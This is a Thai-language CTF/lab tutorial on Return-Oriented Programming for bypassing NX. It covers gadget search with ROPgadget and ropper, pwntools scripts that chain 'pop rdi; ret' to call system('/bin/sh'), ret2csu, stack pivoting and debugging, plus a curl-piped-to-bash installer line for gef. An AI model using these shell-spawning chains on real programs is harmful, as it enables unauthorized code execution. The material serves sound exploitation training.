คลัง
pwn

ROP (Return-Oriented Programming)

ROP (Return-Oriented Programming) เป็นเทคนิคหลักในการ bypass NX โดยร้อย 'gadget' — ชิ้นโค้ดสั้นๆ จบด้วย ret ที่มีในโปรแกรม/libc — มาต่อกันเป็น chain ทำงานแทน shellcode บทนี้ลงลึกกลไก ret, การหา gadget, การสร้าง chain ด้วยมือและ pwntools, ret2csu, stack pivot และ troubleshooting (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

Advanced#rop#pwn#gadget#nx-bypass#rop-chain#ret2csu#stack-pivot#ctf

1. หลักการ — ทำไม ret ร้อย gadget ได้

เมื่อ NX ห้ามรันโค้ดใหม่ ROP ใช้โค้ดที่รันได้อยู่แล้ว โดยมองหา 'gadget' = ลำดับ instruction สั้นๆ ที่จบด้วย ret เช่น pop rdi; ret กลไกสำคัญคือ ret = pop rip (ดึงค่าบนสุดของ stack เข้า RIP แล้วกระโดด) ดังนั้นถ้าเราวาง address ของ gadget ต่อกันบน stack เมื่อ gadget แรกจบด้วย ret มันจะ pop address ของ gadget ถัดไปเข้า RIP — กระโดดไปเรื่อยๆ ร้อยกันเป็น 'ROP chain' ที่ทำงานเสมือนโปรแกรมเล็กๆ ที่เราเขียนจากชิ้นส่วนที่มีอยู่

ROP chain — stack ขับเคลื่อนการกระโดดผ่าน ret
ROP chain — ret ขับการกระโดดทีละ gadget padding 'A'*offset &(pop rdi ; ret) "/bin/sh" → rdi &(ret) · alignment &system ret 1. ret → pop rdi;ret 2. pop "/bin/sh" → rdi 3. ret → ret (align) 4. ret → system = system("/bin/sh")
เนื้อหานี้เพื่อการศึกษาและฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab) เท่านั้น

2. หา gadget

ROPgadget / ropperLinux
# ROPgadget — list ทั้งหมด แล้ว grep
ROPgadget --binary ./vuln | grep "pop rdi"
ROPgadget --binary ./vuln | grep ": ret$"     # ret เปล่า (alignment)
ROPgadget --binary ./vuln --ropchain          # ลองสร้าง chain อัตโนมัติ

# หา gadget ใน libc (เมื่อ ret2libc/ASLR)
ROPgadget --binary ./libc.so.6 | grep "pop rdi ; ret"

# ropper (ทางเลือก, ค้นแบบ semantic ได้)
ropper -f ./vuln --search "pop rdi"
ropper -f ./vuln --search "pop r??"           # wildcard
gadget สำคัญ x64: pop rdi/rsi/rdx/rcx (จัด arg), ret (align), syscall, leave;ret (pivot)
gadgetใช้ทำอะไร
pop rdi ; retตั้ง RDI (arg1) — สำคัญสุด
pop rsi ; retตั้ง RSI (arg2)
pop rdx ; retตั้ง RDX (arg3) — มักหายาก → ret2csu
retstack alignment (movaps)
syscall ; retเรียก syscall (ret2syscall)
leave ; retstack pivot (ย้าย RSP)
mov [rdi], rsi ; retwrite-what-where (เขียน memory)

3. สร้าง chain ด้วยมือ (เข้าใจกลไก)

ROP chain เรียก system("/bin/sh") เขียนเองLinux
from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')

offset = 72
# address (สมมติรู้/leak แล้ว — ดูหัวข้อ ASLR)
pop_rdi = 0x4011d3                   # จาก ROPgadget
ret     = 0x40101a                   # ret เปล่า
libc.address = 0x7ffff7800000        # libc base จาก leak
system  = libc.symbols['system']
binsh   = next(libc.search(b'/bin/sh'))

chain  = b'A' * offset
chain += p64(pop_rdi)                # pop rdi; ret
chain += p64(binsh)                  #   rdi = "/bin/sh"
chain += p64(ret)                    # alignment (movaps)
chain += p64(system)                 # call system

p.sendline(chain)
p.interactive()
เขียนเองช่วยเข้าใจ; สังเกต ret เปล่าก่อน system เพื่อ align stack 16-byte (ดู stack-overflow movaps)

4. สร้าง chain ด้วย pwntools ROP

ROP object — สร้าง chain อัตโนมัติLinux
from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')
libc.address = 0x7ffff7800000        # จาก leak

# pwntools หา gadget + จัด chain ให้เอง
rop = ROP([elf, libc])
rop.call('system', [next(libc.search(b'/bin/sh'))])
# หรือหลายขั้น:
# rop.call('puts', [elf.got['puts']])   # leak
# rop.call('main')                       # กลับ
print(rop.dump())                        # ดู chain ที่สร้าง

payload = b'A'*72 + rop.chain()
# ...send...
rop.call(func, [args]) จัด pop gadget + alignment ให้อัตโนมัติ; rop.dump() ดูว่าสร้างอะไร

5. ret2csu — เมื่อขาด gadget จัด rdx/rsi

บ่อยครั้งหา pop rdx; ret ไม่เจอ (จำเป็นสำหรับ arg3 เช่น write(fd, buf, len) หรือ execve) เทคนิค ret2csu ใช้ gadget ใน __libc_csu_init (มีในทุก dynamically-linked binary ที่ไม่ strip) ที่ pop หลาย register รวด (rbx, rbp, r12-r15) แล้ว mov ไป rdx/rsi/rdi

ret2csu ด้วย pwntools (จัดการให้อัตโนมัติ)Linux
from pwn import *
elf = context.binary = ELF('./vuln')
rop = ROP(elf)

# pwntools รู้จัก csu gadget — แค่สั่ง call ที่ต้องการ 3 args
# เช่น write(1, addr, len)
rop.call(elf.symbols['write'], [1, elf.got['write'], 8])
# pwntools เลือก csu/gadget จัด rdi,rsi,rdx ให้เอง

print(rop.dump())
payload = b'A'*72 + rop.chain()
pwntools เวอร์ชันใหม่จัด ret2csu อัตโนมัติเมื่อขาด pop gadget; ถ้าทำมือต้องเข้าใจ 2 gadget ของ csu

6. Stack Pivot — เมื่อพื้นที่ overflow น้อย

บางโจทย์ buffer เล็ก เขียน chain ยาวไม่พอ — ใช้ stack pivot ย้าย RSP ไปยังพื้นที่ที่เราควบคุมและใหญ่กว่า (เช่น bss ที่เขียน chain ไว้ก่อน) ด้วย gadget อย่าง leave; ret (= mov rsp,rbp; pop rbp; ret) หรือ pop rsp; ret

  • leave; ret: ตั้ง RBP เป็น address ปลายทาง−8 ก่อน แล้ว leave จะย้าย RSP ไป
  • pop rsp; ret: ย้าย RSP ตรงๆ ไป address ที่ pop
  • add rsp, X; ret: เลื่อน RSP ข้าม (ข้าม junk)
  • เขียน chain จริงไว้ใน bss/heap ก่อน (ผ่าน read/gets) แล้ว pivot ไปที่นั่น
  • ดูใน pwntools: rop.migrate(addr) ช่วย pivot

7. Troubleshooting

  • crash ที่ movaps ใน libc: stack ไม่ align → เติม ret เปล่า 1 ตัว
  • chain ขาดตอน: มี bad char (\x00,\x0a) ใน address → หา gadget อื่น/เขียนเลี่ยง
  • pop rdx ไม่มี: ใช้ ret2csu (section 5)
  • พื้นที่ไม่พอ: stack pivot (section 6)
  • ASLR: libc gadget เปลี่ยนทุก run → ต้อง leak base ก่อน (ดู ASLR)
  • debug: ตั้ง breakpoint ที่ ret แรก แล้ว stepi ดู RSP/RIP ทีละ gadget ใน gef

8. Quick Reference

  • ROP bypass NX: ร้อย gadget (จบ ret) reuse โค้ดที่มี
  • ret = pop rip → stack ขับการกระโดดทีละ gadget
  • หา: ROPgadget --binary X | grep 'pop rdi'; ': ret$'
  • x64 args: pop rdi/rsi/rdx; ret(align); syscall
  • pwntools: rop=ROP([elf,libc]); rop.call('system',[binsh])
  • ขาด pop rdx → ret2csu; พื้นที่น้อย → stack pivot (leave;ret)
  • crash movaps → เติม ret; debug ทีละ gadget ด้วย gef stepi

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติรู้แล้วว่า NX เปิด ต้องสร้าง ROP chain แต่ยังไม่เคยทำจริง — มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นจนได้ chain ที่ใช้งานได้

  1. 1หา offset ให้ได้ก่อน (จาก Buffer Overflow) — ต้องรู้ว่าเขียนกี่ byte ถึง return address
  2. 2หา gadget พื้นฐาน: ROPgadget --binary ./vuln | grep 'pop rdi' และ | grep ': ret$'
  3. 3ถ้าไม่พอในตัว binary ลองหาใน libc: ROPgadget --binary ./libc.so.6 | grep 'pop rdi ; ret'
  4. 4เขียน chain ด้วยมือก่อนสักครั้งเพื่อเข้าใจ: padding + pop_rdi + arg + ret(align) + target
  5. 5ลองใช้ pwntools ช่วยจัด: rop = ROP(elf); rop.call('system', [binsh]) แล้ว print(rop.dump()) ดูว่าจัดอะไรให้
  6. 6ส่ง payload: b'A'*offset + rop.chain() แล้วดูผล
  7. 7ถ้า crash ที่ movaps ใน libc ให้เติม ret gadget เปล่า 1 ตัวก่อน target
  8. 8ถ้าหา pop rdx ไม่เจอ (arg3) ลองให้ pwntools จัด ret2csu อัตโนมัติผ่าน rop.call()
  9. 9ถ้า buffer เขียน chain ยาวไม่พอ ต้องทำ stack pivot (leave;ret) ไปพื้นที่ที่ใหญ่กว่า เช่น bss
  10. 10debug ทีละ gadget: ตั้ง breakpoint ที่ ret แรกใน gdb แล้ว gef> stepi ไล่ดู RSP/RIP
จับมือทำ: สร้าง ROP chain จนใช้งานได้
หา gadget ด้วย ROPgadget/ropper
grep 'pop rdi', ': ret$', 'syscall'
✅ มี gadget ที่ต้องการครบ→ สร้าง chain
❌ ขาด gadget (เช่น pop rdx)→ ใช้ ret2csu หรือหาใน libc
ใช้ __libc_csu_init (ret2csu) หรือ gadget ใน libc แทน
✅ ได้ gadget ครบแล้ว→ สร้าง chain ต่อ
❌ ยังขาด→ ทางตันจริง ลองเปลี่ยนเป้าหมาย (เช่น one_gadget)
สร้าง chain (มือ หรือ pwntools rop.call)
✅ ยิงแล้วได้ผลตามคาด→ ยืนยัน local แล้วยิง remote
❌ crash ที่ movaps ใน libc→ เติม ret เปล่าก่อน target (align)
เติม ret gadget 1 ตัวก่อน call target
✅ ใช้ได้แล้ว→ จบ
❌ buffer เขียน chain ยาวไม่พอ→ ต้อง stack pivot
ทำ stack pivot (leave;ret) ไป bss/heap ที่ใหญ่กว่า
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
หา gadgetROPgadgetpip install ropgadgetropshell.com
หา gadget แบบ semanticropperpip install ropper-
debug ทีละ gadgetgdb + gef/pwndbgbash -c "$(curl -fsSL https://gef.blah.cat/sh)"-
สร้าง/จัด chain อัตโนมัติpwntools ROP()pip install pwntools-
แก้ permission binary (patchelf)patchelfapt install patchelf-
decompile ดู __libc_csu_initradare2 / objdumpapt install radare2dogbolt.org
หา one_gadget เมื่อขาด gadgetone_gadget (gem)gem install one_gadget-
🚑 ถ้าตันสนิท ลองท่าถัดไป: (1) ret2libc — ถ้าเป้าหมายสุดท้ายคือเรียก system("/bin/sh") อยู่แล้ว ไม่ต้องสร้าง chain ซับซ้อนเอง (2) got-overwrite — ถ้าต้องการเปลี่ยนพฤติกรรมฟังก์ชันแทนที่จะกระโดดครั้งเดียว (3) aslr — ถ้า gadget ใน libc address เปลี่ยนทุก run ต้อง leak base ก่อน (4) stack-overflow — ถ้ายังไม่แน่ใจเรื่อง offset/RIP ควบคุมได้จริงหรือยัง

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้